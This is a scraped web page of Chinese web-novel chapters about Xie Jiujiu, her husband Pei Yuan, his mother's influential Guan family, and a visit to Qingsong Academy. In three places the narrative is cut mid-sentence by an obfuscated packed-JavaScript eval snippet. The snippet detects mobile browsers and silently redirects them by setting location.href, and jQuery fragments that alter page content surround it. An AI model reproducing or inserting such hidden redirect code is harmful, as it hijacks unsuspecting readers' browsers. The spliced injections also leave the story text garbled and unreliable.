当年得了关氏以后,他才说什么都不肯把人带回家里。带回去了,多新鲜的美人儿都得被蒋氏弄得朽木一般,有什么趣意。 现在看着冷着一张脸,早没了刚成亲时那般鲜艳容颜的妻子,裴老三哂笑一声,半点假样子都懒得做。 “夫人想我说什么,关氏什么才情什么姿容,我要是带回来她如今活没活着都不好说,关家的人要是只找到个坟包,恐怕你和我这会子也不能安然坐在这里计较这些。” 在裴老三心里,落得现在这般两难的境地都是蒋氏不大方。 当年她要是容得下关氏,自己把她纳进府里来,现在得是关家捧着自己感恩戴德,给了他家女儿一份安稳日子。 如今可好,自己外面宅子买了银子花了,女人儿子都养了还落不着一个好,人家还觉得是自己怠慢了关氏。 白天的时候裴老三被自家亲大伯叫了过去,问的也是关氏的事。做长辈的不好问侄儿怎么安置他的外室,人家只问关家的管事在府城的这段日子,他怎么招待。 也就是到了今天,他才知道关氏的长兄官拜工部左侍郎,弟弟是两榜进士在翰林院为官。还有个妹妹,当年跟着家人走到了岭南,就嫁在了岭南。 后来没有跟着回京城,据说家中丈夫在市舶司里做副提举,官职不大但管着进出口的所有货物,这里面的油水能有多大,裴三连想都不敢想。 “夫人以为我在外面要风得雨,可你看看,要是关家不想我知道关家的底细,我就是四处打听也打听不来。还得是大伯找了府衙里的二老爷,他托人去打听才打听出来。” 没被裴大老爷叫过去之前,裴老三不是没想过把关氏强留下来,亦或是借着关氏的东风搭上关家这艘大船。 现在?现在裴老三已然有些后悔那天怎么没直接答应下来。就是关家讲究脸面不愿意大张旗鼓的把关氏送回去,自己也得想法子促成这事啊。 要不然自己就彻底成了关家如鲠在喉的那根鱼刺了,哪天想起来哪天都不舒服,哪天忍不下去想要把这根鱼刺拔了,哪天自己的好日子也就到头了。 “那老爷明儿再去关氏那里看看?”嫁给裴老三这么多年无所谓好不好,蒋氏眼下在意的是关家。 本是想看看裴老三能不能攀上关家,自己生了两个儿子,他们跟裴元不也算兄弟嘛。要是裴元跟着关氏去了京城,那自己的儿子是不是也能跟兄弟亲近亲近。 想得挺好,被裴老三这么一打岔心气儿就散了大半。可再得罪人事情总得往下办,反正去伏低做小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276364|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不是自己,裴老三憋屈,那就让他憋屈去。 “看什么看,人家送去京城的信再有几天都该到了,寄去高州的信早该到了,现在想什么办法都来不及,我还是等着老爷怎么骂我吧。” “等等等,老爷人在高州,这些年咱们这一房的事情老爷和夫人问过多少。” 蒋氏一听这话就来气,自家留在府城这边打理家业,每年都要往高州送不少银子。 高州那边一年到头也就过年的时候能收到大房二房的年礼,年年都是些高州的特产,加在一起也值不了几个钱。 老大和老二跟着老爷个个都在衙门里谋了差事,就只有自家,说得好听是三爷,说白了还是一平头百姓。现在这个总旗的武职,都是伯父做主卖了儿子换来的,难道又是什么光彩的事吗。 “得得得,夫人快别唠叨了。你要有本事啊,就寄封信往高州去。我知道你们蒋家觉得我不争气,是裴家骗了你们家,你把这话跟老爷说去,跟我啊你说不着!” 不过裴老三嘴上说着不去不看,第二天拖拖拉拉直到傍晚黄昏,也还是找借口出门往关氏这边来。 只可惜到了小院唐寡妇堵在门上不让进,裴老三气得直跳脚又不敢撕破脸,站在门口嘀咕着骂了几句,直到看见挂着青松书院标识的马车往小院这边来,才急匆匆的走了。 来送信的门斗穿的衣裳都是书院里统一置办的,他们平时除了看门和替家眷给书院里的学生传递东西,还要负责给山长老师们跑腿送信。 今天过来是替监院给裴元送信,关家两个管事来岳州第一个找的人脉就是李监院,这人前几年刚辞官回乡,和关家大爷曾是同僚。 信上的意思是让裴元有空回书院一趟,让先生们和山长看看他学的东西有没有落下。明年就下场考试了,有些东西再重要也不能分心。 裴元看完信顺手就给了谢九九,“趁着高州和京城的回信都没到,跟我一起去书院看看?” “我?我行吗。”向来什么都不怕的谢九九,难得有些紧张。读书人的地方听着都觉得矜贵。 “书院里的学生一大半都是成家了的,再是说书院是读书的地方不能分心,人家家里人难道就一次都不去看看?” 书院在书院靠外侧留出一块地方围起来,里面建了一排小院子,就是专门给跟着学生一块儿来的家眷住的。 “住过去前三天不收钱,还想继续住,一天光是房费就比府城最好的客栈还贵。” 三天,足够家眷把书院看一遍放心回家。高昂的房钱也能让绝大部分学生的家眷不会留下来,真花得起这份银子的家里各个有产业,再不放心还能把家给抛下,就留在书院陪读? 要不说读书人精明起来才是真的鬼精鬼精的呢,这就属于又做了好人,又把人家想要跟着去书院读书的念头都掐得死死的,还没法说书院半个不好。 “那行,今晚上跟娘说一声,今晚上把东西收拾收拾,明天就去书院。” 33.第 33 章 谢九九从来不亏着嘴,住在小院这些天,天天都要带着春儿去市集上逛。 就这么十来天的时间,光是山里养的黄皮鸡就买了一笼。还有二两左右大小的刀鱼,明明已经过了吃刀鱼最好的时节,也不知道是怎么存下来的。 刀鱼买回来清蒸,蒸熟了放点姜丝葱丝和豆豉,再拿热油一泼,谢九九一口气能吃三条。 关氏当年是当做瘦马养了好些年的,养作瘦马的女子想吃饱是不可能的,要的就是那股子弱风扶柳的劲儿。 跟了裴老三,没生裴元之前关氏也从不敢肆意吃上一顿。 没法子啊,一个给人做外室的漂亮女子,要是抓不住眼前这个男人,用不了多久一定会被转手卖去更下九流的地方去。 后来有了儿子以后,倒是过了几年安心的日子。可随着儿子慢慢长大,裴老三说什么也不提把儿子认回裴家的事,关氏要操心的事情就更多了。 心里总压着事情,就没心思讲究吃穿。厨房里的活儿以前都是巷子里一婶子在干,每天过来做两顿饭。后来唐寡妇住过来,就归唐寡妇做。 饭菜做得绝对不难吃,但比起谢九九这个从小在云客来混大的姑娘来说,还是没有可比性。 连着吃了好一阵,不说裴元和春儿,就连关氏身边的丫鬟和唐寡妇都说不能再这么吃了,再吃都该积食了。 拿手艺把关令仪哄得顺顺的谢九九,见火候差不多了也不再一个劲的投喂。再加之明天就要去书院了,今儿干脆做一顿清淡些的。 白天让丫鬟出去买了好些土鲫鱼和一个老大的白萝卜回来,晚上就做了一道萝卜丝煮鲫鱼。再从厨房的坛子里夹些酱黄瓜和糖蒜出来,就够了。 鲫鱼先用猪油煎,把鱼皮煎得两面金黄,再放水去煮。等把鱼汤煮得奶白了,连鱼皮都煮出虎皮状了,再把切得细细的萝卜丝放下去。 萝卜丝放下去得煮透,鱼汤的鲜香和鱼肉的嫩搭配萝卜丝微微的清甜,大夏天的个个都吃得满头汗,都停不下来。 最后剩下半锅子汤拌清水面,一人吃上小半碗就饱饱的了。 吃过了饭,谢九九跟关氏说两人明天要去青松书院。 这段时间对关氏来说尤为重要,她嘴上虽没有说过什么,但她明显非常依赖裴元,连带自己这个本不满意的儿媳妇,也一句不好听的话都没说过。 这会儿听谢九九说两人明天要去书院,下意识就皱了皱眉头。但多余的什么都没说,只起身回房取了两套一看就不便宜的文房四宝和一个玉石小摆件出来。 “笔墨给山长和崔先生,摆件给李院监,还有几个先生你让九九看着安排。” 关氏平日是不怎么出门,人情往来交际她又不是不懂。 两套文房四宝加起来至少三十两,那个玉石摆件可能便宜些,不过胜在样式别致,李院监喜欢摆弄石头整个府城都出了名,送这个再没有错的。 “娘放心,从家里来的时候就预备了要去书院看先生的孝敬,不会出错的。” 谢九九其实也准备了文房四宝,还是紧贵的买的。毕竟她来的时候就想着往青松书院走一趟,替文济探一探路,要是能行她还是想要把谢文济给送过来安心读几年书。 不过自己准备的东西光顾着贵了,看着是不如关氏准备的雅致。这种从骨子里生来就会的本事,会就是会不会就是不会,想要学且难着呢。 谢九九笑着从关氏手里把东西接过来,就不打算把自己买的那个往出拿了。以后留着给裴元和文济用呗,他们嫌俗也没法子,银子花都花了不能浪费! 谢九九想到这儿就忍不住冲裴元使了个眼色,不用她说裴元就知道她心里想的什么,也偷偷冲谢九九递了个眼神。 之前买那文房四宝的时候裴元就拦了,东西是真贵,也是真花里胡哨,连狼毫笔的笔杆上都有洒金,就是生怕别人不知道这笔贵。 谢九九看他那样儿,就知道他是嫌自己俗气了。可送礼这东西想要送到人家心坎上多难,退而求其次,让人家知道自己用心了,就算不喜欢人家也认这份情,也就行了。 年轻的夫妻坐在一起,眼波流转间那小动作,只有他们俩觉得自己特别克制特别隐蔽,其实落在大人眼里,都有些腻歪得不像话了。 不愿碍着儿子跟媳妇亲近,关氏起身只说乏了,就先起身入了里间。 “娘子,您放心吧。我前天就出去打听过了,送去京城的信走的是官道,顺利的话来回一趟用不了太长时间。说不定少爷从书院回来,京城的信也能到了。” “京城的信来不来,早一天来晚一天来,有什么不一样,不都这么多年了。” 小院子不大,关氏听见儿子带着谢九九回了东厢房关门的动静,才长长叹出一口气,“我是害怕,元哥儿不想跟关家扯上关系。” 自己的儿子自己了解,别看他那天当着关家和裴老三的面据理力争,可字字句句说的都是自己,没有半个字提及他。 不管京城那边什么态度,这个小院以后自己是肯定不会再继续住下去。到时候回了京城儿子却留在容县给谢家当上门女婿,关氏如何能愿意。 “这些天我看娘子和少奶奶说得来,还以为您……” “说得来,是因为这个姑娘是个好姑娘。她比我强,家里那么个光景她也能想法子撑过来。 可她把心眼打到我儿子身上了,即便是元哥儿自愿的,你说我这个当娘的要是心里一点不高兴都没有,那也太没心没肺了。” 正是这般矛盾,这几天两人相处得再好也像是隔了一层纱,旁人看着婆媳二人说得热热闹闹,其实双方都拿捏着劲儿,敏感一点儿的话题谁都不敢碰。 关氏对自己客气但不亲近,谢九九当然心知肚明。 跟着裴元回到厢房她压根没再提这茬,而是催促裴元,让他趁着两人去书院这几天叫曹勇回家一趟,替他收拾些行李带过来。 “书院的院监送了信来,这几天好些人家托家里女眷的名义送帖子来。 娘现在身份还有些不知该怎么说,人家就把帖子下给我,什么经历大人的母亲七十大寿,请我过去吃酒。你说说那是什么人家,我又是什么人家,人家哪能来请我呢。” 帖子送过来没避着谁,想来关家那两个管事肯定能知道这消息。人家天天过来给关氏这个姑小姐请安,也没表露出对这事有什么不高兴。 光是看他俩的态度,谢九九就知道京城那边十有八九是要把关氏接回去的。 现在不确定的只不过是,关家愿不愿意以光明正大的形式把关氏接走,接回京城了是以姑小姐的名义住回关家,还是在京城买个宅子让关氏另立门户。 但不管怎么样,裴元这个儿子是非得跟着往京城去一趟的了。 “到时候真的要去京城,我肯定早去早回。” “你别胡思乱想,你就想着明年考试我是不是怎么都得回来。我是祖父这一支的嗣孙,户籍都在容县,我能跑哪儿去。” 裴元当然知道谢九九心里担心什么,到手的上门女婿别再一去了京城就不回来了。 他自己真没想过要跟着关氏一起去投奔关家,当年自己过继出去是为了要一个清白的出身下场考试,之后又自己做主入赘到了谢家。 现在半路又蹦出来个关家,怎么着?瞧着哪家的枝头高就奔着哪家去,自己就真成了三姓家奴了。 “我没想。”因着明天要去书院,两人难得没耍花腔,洗漱之后便安心躺下。谢九九侧身朝里躺着,目光盯着架子床里侧的花纹,看得认真出神。 “裴远舟,有些事我不是不信你,而是我连我自己都不信。” 别说京城的繁华迷人眼,就连自己这些天待在府城,都打心眼里觉着府城真是比县城好,要是有朝一日自己能把云客来开到府城来,亦或是自己能来府城再弄个饭庄就好了。 “你看看我这心思,云客来的生意还在那边半死不活的维持着,心里头就生了这样的野望。说不定你让我去一趟京城,我也不愿意回来。” 考试不考试的,都不是多为难的事情。或是到时候关家出面,把裴元和关氏的户籍一起挪走,或是等到了要考试的时候临时回来,只有要有银子有人脉,怎么不行呢? “我信你此刻的真心,也怕你真心易变。”堵在心里的话一旦开了头就藏 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转过天来一大早裴元和谢九九就出发了,书院在城外的山上,出了城一路的好景致,到了山脚下更是一大片已经成熟了的稻谷田。 “山脚下的田大部分都归书院,书院的佃农比给别的富户干活轻松,每年书院收四成租子,田里其他东西都归佃农,书院里不要。” 水稻田里可以养鱼,稻谷田里养出来的鲫鱼和草鱼肉质更鲜甜,还有一股淡淡的稻花香。 每年插秧之后十来天就可以往下放鱼苗,等六月末七月初第一季稻子黄了,就能提前挖开田埂排水,把鱼捞起来,大的卖了小的留着。 等晚稻插下去,鱼沟清理干净,半大不大的鱼又能继续再养几个月。等晚稻成熟把鱼捞起来养在鱼池里,能一直断断续续卖到过年前。 这么养出来的鱼不比在塘里养鱼多,但价钱却能卖得更高。 再加上田里的泥鳅和野生的水鱼,一年到头总还有些额外的收入。实在卖不出去的,书院的斋堂里全都要,总之不会让自己的佃户吃亏。 家里宽裕了,即便是佃户也愿意把儿子往山上的书院里送。只要书读得好的,书院里连束脩都能减免一部分。 时间一长,整个山下的氛围都跟别处的不一样,这个时节还能瞧见好几个书生打扮的年轻人在田里忙活,都是山上的学生请假回来,帮着家里在干活。 马车只能停在山下,谢九九下来跟着裴元一路往山上走,越往上路过的人就基本都是书生文人,还有几个秀才公,在这条去书院的小径上遇见了,也都彬彬有礼得很。 谢九九免不了在心里暗自感慨,怪不得青松书院有名气。这般往来无白丁谈笑有鸿儒的环境,是挺吸引人的。 早晨出门,直至中午才到书院门口。书院矗立在山腰依山而建,山门巍峨气势磅礴。 山门之后又是台阶,台阶两侧就开始有房屋院落,再往上院落被一看就是精心布置过的树木遮了大半,看不清了。 已经到中午了,就不着急进去拜见师长,裴元牵着谢九九走进一个食肆,“我在书院那几年最喜欢的就是这一家,尝尝?” 这食肆是一对夫妻开的,两人只有一个儿子也在书院里读书。他俩就在咱们书院外面弄了这么个小食肆,生意好极了。 夫妻两个看上去年纪不小了,那老板头发都花白了,看着起码得有五十往上。 “食肆的生意可是力气活,这么大年纪了吃得消吗。” 饭菜上来得很快,三菜一汤分量很足。米饭不是很白,胜在软硬适中,四个人一人就收一文钱,米饭能随便吃。 “他们家就准备这几个菜,按着时令来,菜价不贵谁来吃都是这几个菜,一锅炒能出几桌,就还忙得过来。” “之前你说云客来的事,我就想跟你说来着。”裴元说着压低了些声音,“想要云客来跟小食肆那样道道菜都便宜,那肯定不成。 咱们能顺着时令节气出特色菜啊,到时候你就主推这一个菜,把这一个菜的名气推出去,让进云客来的每一桌都要吃这个菜,人气不就来了嘛。” 34.第 34 章 一顿饭的功夫,食肆里五张桌子来回来去总共进了七桌食客,有单独一个人来吃的也有几个学生结伴过来的。 桌上的菜真就来回来去这三四样,就连配菜都差不多,切成小丁的酸萝卜,从坛子里拿出来的浸辣椒,配上不那么辣的仔姜和葱段,铁锅烧热大油一过,没什么菜会不好吃。 谢九九看得认真,觉得裴元这法子正经不错,便把已经在心里琢磨好些天的想法也说出来。 她本来是想要借云客来靠着街的那一扇窗户,把窗户打通另做个小门,支两口锅专门做外带的生意。 云客来离码头近,城外码头边上不是没有食肆饭铺,不过都是支个棚子摆两张桌子,卖些茶水和炊饼,面条凉粉这类容易做的东西。 这些吃食,在码头做工的苦力脚力们吃合适,有时候都不用桌子板凳,蹲在路边三下两下吃完,再跟店家讨一碗水喝了,装粉装面的碗都干净了。 但对于那些跟着船停靠在码头的人,就不怎么合适了。除了一些干饼子,其余那些汤汤水水怎么好带到船上去,就是他们肯带,人家做生意的也不能叫他们连碗都端了走。 “我也不跟街上两家早饭铺子抢生意,他们辰时末就收摊了,咱们店里的两口锅就跟着云客来进客的时辰开张,想来也不会有大意见。” 如今出远门,最容易携带的干粮就是炊饼煎饼,不容易坏又放哪儿都行,即是压扁了压碎了照样能吃。再不然就是各种油炸之物,撒子麻花,炸鱼腌肉。 容县码头上最不缺的就是各种河鲜湖鲜,拿面糊一裹下油锅一炸,炸酥脆了拿油纸包好,夏天存放个三两天没问题,天气要是凉下来,还能存放更久。 云客来家底子比城外那些摊子铺子要足,连包油饼炸货的油纸都是以前谢德昌找了好久,才在两条街之外的杂货铺定下来的。 “陈妈妈可会做糖油团和葱油饼了,外面做的都没有她做得好吃。这一手我也学会了,等回去我让秦娘子也学,她学会了就专门负责卖这个。” “客人的话也不着急,县城里那些老客本就喜欢在云客来点菜带回去吃。码头上的新客,交给何奎去想法子。 我不叫他白忙,油锅里炸的鱼虾必须新鲜,他每天来回给送货赚一份钱,要是有船上的贵客不愿意下船不愿意走这一趟,他给来回的跑腿我还给一分钱。” “要是买得多的,还能送他们两个竹筒,装糗粮炒面岂不正好。” 说起自己这本生意经,谢九九总有说不完的话。裴元耐心听着,时不时还要搭茬问两句,看得路过两人的书生路人们,都忍不住回头再多看一眼。 俊朗的年轻书生带着容貌姣好的妻子进了山门,夏日炎炎,多看两人一眼也觉得养眼得很。 有两个书生连连回头看过裴元和谢九九,下山的脚步都匆忙了几分,恐怕是被两人勾起了心绪,着急下山回家找妻子去。 进了书院,裴元先带着谢九九往李院监住的小院子去。院监负责看管生徒行为执行学规,轻易不离书院。 李院监是带着妻子和书童仆从住在山上,只有过年那段时间,书院里放假了才会回府城的家里去。 李院监住的地方从书院进来没多久往左侧一拐,顺着小径弯弯曲曲走上一小会儿,越过一道溪水小桥,才豁然开朗。 溪水这一边不止有一个小院,院子之间都隔着不近的距离,看上去就是很普通的农家小院。 能在山腰处建起这些看似是农家小屋,其实处处仔细周全的院落,位置跟前面的大小讲堂和斋舍都分隔开,甭管前面的学生怎么闹腾,都扰不着这边的好地方,就足以见青松书院的实力真的很雄厚。 小院不大,勉强算是前后两进。 进门以后绕过影壁便是规规整整的正房带两侧厢房,从正院一侧往后绕便是一排倒座房,可以用来做仓库厨房。先生独自住在山上,或带着妻子一起住都足够了。 李院监是个看上去五十岁上下的清瘦文人,一把美髯修剪得极好,深蓝色的道袍搭配幞头看着简单,衣摆袖口都绣着金线暗纹。 屋子里有一股子淡淡的沉香味道,是谢九九在县城里卖香的铺子里没闻到过的高档味道,真真是一打眼就能看得出这位李院监是个极精致的人。 不过也只能粗粗看一眼,她就是仗着‘让裴元心甘情愿入赘’的名声,人家李院监才客客气气见了一面。 之后还不等谢九九说话,就从后面走出来一个三十岁上下的美妇人,牵着谢九九往旁边厢房里去。 “听说远舟成亲,书院里几个先生和山长都吓了一跳。原想着是有什么不得已的苦衷,今日一见你,就知道再没有什么苦衷不苦衷的,方才见你们并肩而入,真真是好漂亮的一对儿。” 谢九九今日选了一条天水碧纱地绣缠枝玉兰的对襟夏衫,下着一条松花绿的绫裙,行动之间裙摆翻动,裙摆上蝶恋花的纹样和月白绣鞋若隐若现。 发髻梳得端正,因着是要来书院,早晨打开梳妆匣子挑拣半天,也只挑中一支银鎏金的莲蓬簪。 鬓边压着从关氏那里要来的茉莉花,小巧玲珑的耳垂上是简简单单一对珍珠坠子,整个人看上去端的是清新脱俗又容貌出众。 这位李院监家的娘子跟李院监相差起码十多岁,体态丰腴相貌也好,行动之间带着一股子说不出的风流韵态。谢九九只一眼就能断定,这位娘子必定不是院监的原配。 但不是原配不要紧,听她说话就知道跟这个李院监合该是一家子人,一见面就先抑后扬,说得好像对裴元入赘多惊讶多不赞成的,都是为了后面捧着夸谢九九的模样好。 可真要是把她的话全当做夸人的听,那就又太天真了。 人家对裴元入赘的事打心底肯定不乐意有意见,这话就是说给自己这个得了上门女婿的人听,别真把裴元当做没人管的赘婿随意折腾。 “哪有师娘这么夸人的,我都脸红了。” 当着老师长辈的面没必要装稳重老成,谢九九捧着一路走过来热得发红的脸颊非说是害羞,看得赵氏都忍不住捂嘴轻笑。还害羞呢,倒是先擦干净额头上的汗再来说这话。 赵氏确实是李骏的续弦,当年李骏还在京城为官的时候原配就去世了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292121|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵氏也是官家女,不过家中父亲只是一八品小官。家里唯一拿得出手的便是家中几代人都是京城人士,家里有老宅子,住得也算宽敞。 当年李骏丧妻成了鳏夫,赵氏的爹为了巴结上官,才把女儿嫁给李骏做续弦。 赵氏没得选,幸好李骏这人虽圆滑世故了些,还算是个有能为的人。在京城为官不说飞黄腾达,也算是稳稳当当。 前几年被卷入一场河堤贪腐的案子里,虽脱了一层皮但好歹得了个辞官回乡的结果。当时李骏是求到关家大爷那里才得以保全,这次关家来岳州找人,才会第一时间来找自家老爷。 今天知道裴元要来书院,李骏也提前嘱咐过了。要是他带着妻子一起来,就让赵氏出面给谢九九旁敲侧击一下,不说叫他们夫妻和离,至少别拦了裴元去投奔关家的路。 关家对李骏是有恩在先,现在关家求他帮忙找失散多年的姑小姐,李骏自然尽了全力。这一次也确实全靠他上下打听,才能找着关氏。 谁知找着了,又是这么一个结果。李骏对于裴元入赘到谢家的事,背地里已经叹息过好几次。虽说这事跟自己本没有关系,可总觉得关家托自己办的事没办得完满。 裴元四年前去的容县,李骏五年前来书院任院监,在官场上摸爬滚打几十年的人来管这群学生自然是得心应手。 李骏管学生并不古板,向来只抓出头鸟,抓住了杀鸡给猴看,猴儿们知道他这个院监的底线在哪儿了,只要不过线他并不多管。 而裴元则是那种总喜欢踩在底线上做事的人,规矩在他眼中并不是多么威严不可触碰的东西。他会把规矩摸透了,挑战规矩却又不破坏规矩。 李骏抓过他两次,又拿他没什么法子。自那以后李骏对他就另眼相待,他笃定裴元这个人以后只要能考上,就一定不是池中之物。 谁知这么一个人,居然会不顾世俗的眼光入赘给商户人家。 听说这个消息之后,李骏忍不住连连叹息直拍大腿,自己只想着他不拘泥不迂腐,却忘了这样的人也太容易做出些惊世骇俗的事情来。 这会儿见了裴元,他一再明示暗示不要跟关家闹僵,不要逞一时的意气留在谢家,赘婿自然可以科举入仕,但真得了官身,这一身份到时候可是要拖他后腿的。 要是他愿意的话,他做中人跟关家的两个管事去说,想法子让他跟谢家断了关系,安心跟着关氏往京城去。 李骏会说这些话裴元半点儿不意外,他连反驳的心思都没有。听了便听了,耐心听李骏把想说的说完,听着书院下课的钟声敲响,才起身准备告辞。 “先生还忙,学生就不多叨扰了。这次上山说不得还要在书院里赖几天,明日再来先生这里请教功课。” “你……” “先生的心意学生明白了,多谢先生教诲。” “走吧走吧,还要去山长那里,我就不多留你了。” 这态度李骏无能为力,他与关家相识多年,关家六爷是个出了名的暴脾气。就裴元要求严管事送回京城的信里不客气的劲儿,那位爷说不定得亲自带人冲到岳州来。 35.第 35 章 李院监毕竟是裴元的老师,又跟关家有交情,劝说裴元主动去投奔关家的话说得也很直接。 倒是赵氏这边,可能她也是女子的缘故,跟谢九九说的话大多都是后宅之事,要是心思单纯些的人恐怕都听不明白她为什么说这些。 “以前跟老爷住在京城时,天天一睁眼就都是事。 府里的琐碎外面的人情往来,谁家娶了媳妇谁家添了儿子,有几次别人家得了个妾室,都要下帖子来请。那个絮烦的劲儿啊,我都不知道从何说起。” “师娘说得是,前几年我家里守孝,好些人情往来人家不请家里也就不去。现在孝期过了我又成亲了,街坊四邻亲戚朋友有什么事都不能落下。 还是师娘的日子过得自在,书院里闲人俗人等闲都进不来,不知要少操多少心。” “不怕师娘笑话,这些日子跟着远舟住在府城,还有请客的消息被人捎带到府城来,说是我三叔家添了长孙,让我得空千万回去吃满月酒。” 赵氏张嘴就说起在京城住着不容易,好像是在替谢九九这个小地方的姑娘着想,她真去了京城也摆布不平,倒不如赶紧放手还了裴元自由,让他自去奔他的前程才是对的。 谢九九则不硬不软的顶了回去,这赵氏是官太太和院监夫人做得太久了,还以为这天下只有她们这些尊贵的夫人太太们才是人,才有闲情逸致来往来交际,才配今日你请客明日我请客,花团锦簇的好日子。 殊不知人活在世上,都是一样的。 只不过她赵氏送人情送一批锦缎,自己送礼则送几包点心一块细棉布。家里条件再差一些的,送上红封包的几个铜子或是一方手帕,那也是一份人情。 官宦人家看不上又如何,这些收下的礼照样要一点不落的记下来,等日后别人家有什么事了得还礼。 要是不还或是漏了,官宦人家或是还穷讲究个脸面,小门小户的才不管那些,只当你这一家子不会做人,等日后你家有事只看还有没有人来。 前天来府城送消息的正是谢天佑家,别看两家为了云客来之前闹成那样。 当年谢德昌去世,谢文济一家子都来了,抬棺材上山埋的时候他家的儿郎都出了力。不管后来两家闹成什么样子,现在人家得了孙子,谢九九说什么都得去。 这赵氏站得太高了,看不见底下人一日三餐烟火红尘里的日子也不算什么错, 只不过眼下两人压根不是一路人,赵氏想用那些虚无缥缈的东西吓退谢九九,这个打算成不了。 谢九九的话赵氏如何听不懂,不就是在说自己不食人间烟火。本还想说些什么,被谢九九这么不软不硬的一顶,就不好再说了。 嘴角扯了扯,露出一个说不上是笑还是不笑的笑模样,赵氏颇有些生硬的拿过谢九九送的胭脂膏,“你可算是说对了,住在这书院里啊是自在,却也是真清净。” 清净得连胭脂膏子都许久没买了,倒不是李骏不给银子,只不过自己到底是做师娘的人,这后面再是跟前头分开了,也免不了碰上学生。 当师娘跟当李夫人不一样,自己衣箱里压了不知多少好料子做的衣裳不敢穿,天天就这么几件颜色花样老成的来回换着,胭脂口脂更是早不用了。 “师娘说的这个我真明白,师娘是嫌书院太清净,我却是嫌我家那铺子里太热闹,每日人来人往的没个消停的时候。” “人多了,难免就要多顾忌些。我去铺子里的时候连今日这根簪子都不敢戴,只有远舟成亲之前送给我的木簪天天戴着,人家才觉得我一个妇道人家在外面抛头露面不是错。” “不过这胭脂也不是全无用处。”谢九九笑着凑近了赵氏,悄悄在她身边耳语两句。 听得赵氏面色涨红这才坐直了身子,重新摆出一副自己什么都没说的样子,彷如方才刚进厢房时那般天真娇憨、刚成亲的小妇人。 看着这样一个谢九九,赵氏就知道自己是劝不动的了。这么泼辣又胆大的妇人,光靠嘴上功夫想要吓退他,李骏这算盘打得太好了。 劝不动那就不劝,两个女人坐在一起,说衣裳说首饰,说京城的繁华说县城的饭庄,甚至连沈霁在鹿鸣村做个私塾先生都能聊,何苦再讨人的不高兴。 等到裴元来厢房这边接人,见两人相谈甚欢心里也不惊讶。谢九九什么人精,一个赵师娘要是还摆布不了,那才真是真出了鬼了。 “怎么样?没难为你吧。” “是个特别知晓分寸的夫人,见我死咬着你不愿松口她就不劝了。怪不得这位李院监能当这么大个书院的院监,怪不得都住到书院里了,都还要带着他夫人一起住,这两人可真是相配。” 两人都是软硬兼施,先把事实摆出来说明白,再苦口婆心的劝。 见劝不动就立马掉头不说了,如此这般既不得罪人,人家还要记他们的好,毕竟他们的心是为裴元好,要不然何必又是送帖子又是把人叫回书院来劝。 “你就是促狭,是想说他俩也是大俗人,像是衙门里的老爷不像书院里的先生,对吧。” “这话都是你说的,我可没说。” 两人一边往山长住的小院那边走一边低声说话,谢九九摇摇头,“管学生就得李院监这样的人,知道怎么管学生才能叫人怕,还能不得罪人,多有本事。” 就像当着塾长的幺叔爷和只做私塾先生沈霁,道理都是一样的。 “人家可是劝我抛下你不要,跟着关家去京城,你还说人家有本事。” “劝你去关家,又让他妻子来劝我放手,完了你和我还都和和气气的从他们那小院子出来了,这还不厉害啊。” 这话说得多少就有些阴阳怪气了,在里面还一口一个师娘的,这会儿都成了‘他妻子’,裴元侧头去看谢九九脸上藏不住的不忿,还想再说些什么,却又被后头传来的咳嗽声给打断了。 后面来人正是山长,刚从前面大讲堂下课回来。 书院里的讲堂分大小,学生也分了甲乙快慢。已经有了秀才功名的进生员班,还在准备童子试的学生进童生班。 之后生员和童生班里再按照成绩分天地玄黄,入的班不一样学的东西也不一样。 天子班基本全都是来年就要下场考试的学子,而玄黄二班里的,大多都是先读着,读到哪天先生说可以下场试一试了,才会去考试。 除此之外,还有一月三次大讲堂里的课。授课的先生是山长和副山长,在书院上课的学生谁都能去听,去的早的坐前面起得晚的站后面。 一节课下来能听懂多少又能记住多少,全凭学生自己。 一个山长一个院监,一雅一俗,一个在仕林中名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297367|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声颇大桃李满天下,一个大半生在官场营营役役不知经历过多少风雨。 两人对裴元的态度和看法或许有差别,但对于裴元入赘到谢家的事,都是满心满眼的不赞同。 不过老先生跟李院监走的路子不一样,进了他的小院,谢九九也没有被老头儿支开,而是两人一起端坐着听了好一通玄而又玄的话。 听到最后谢九九真的眼皮直打架,就差坐不住一头栽到裴元身上,山长才摆摆衣袖放二人出来。 “山长跟你我说了那么多无为而治、自在清净、上善若水的,到底是什么意思啊。” 整个下午就拜见了李院监和山长,这会儿两人往客院走,谢九九忍不住问,“他是老师是长辈,他要是直接说我也不能摆脸色不是。” 说了这么多,不就是想说裴元选择入赘是没顺应自然,拦着关家把关氏带走是没了人伦,反正话说得挺好听,意思就这么个意思。 